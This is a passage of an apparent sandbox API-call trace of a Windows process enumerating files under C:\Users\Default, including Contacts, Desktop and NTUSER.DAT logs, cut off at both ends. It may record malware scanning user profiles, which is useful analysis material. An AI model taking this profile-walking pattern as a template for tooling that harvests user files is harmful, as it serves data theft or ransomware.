nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0125.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0125.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0125.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0125.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0125.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0125.686] GetLastError () returned 0x12 [0125.686] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5fac0040, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fac0040, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5fac0040, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fac0040, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0125.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0125.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0125.687] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.687] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.687] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.688] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.688] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0125.688] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.688] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.688] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.688] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.688] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.688] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.688] GetLastError () returned 0x12 [0125.688] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.689] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.689] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.689] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.689] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.689] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.689] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.689] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0125.689] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.689] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.689] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.689] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.690] GetLastError () returned 0x12 [0125.690] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.690] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0125.690] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0125.690] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.690] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.690] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.690] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.691] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.691] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.691] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.691] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.691] GetLastError () returned 0x12 [0125.691] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.691] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.691] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.691] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.691] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0125.691] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.691] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.692] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.692] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, 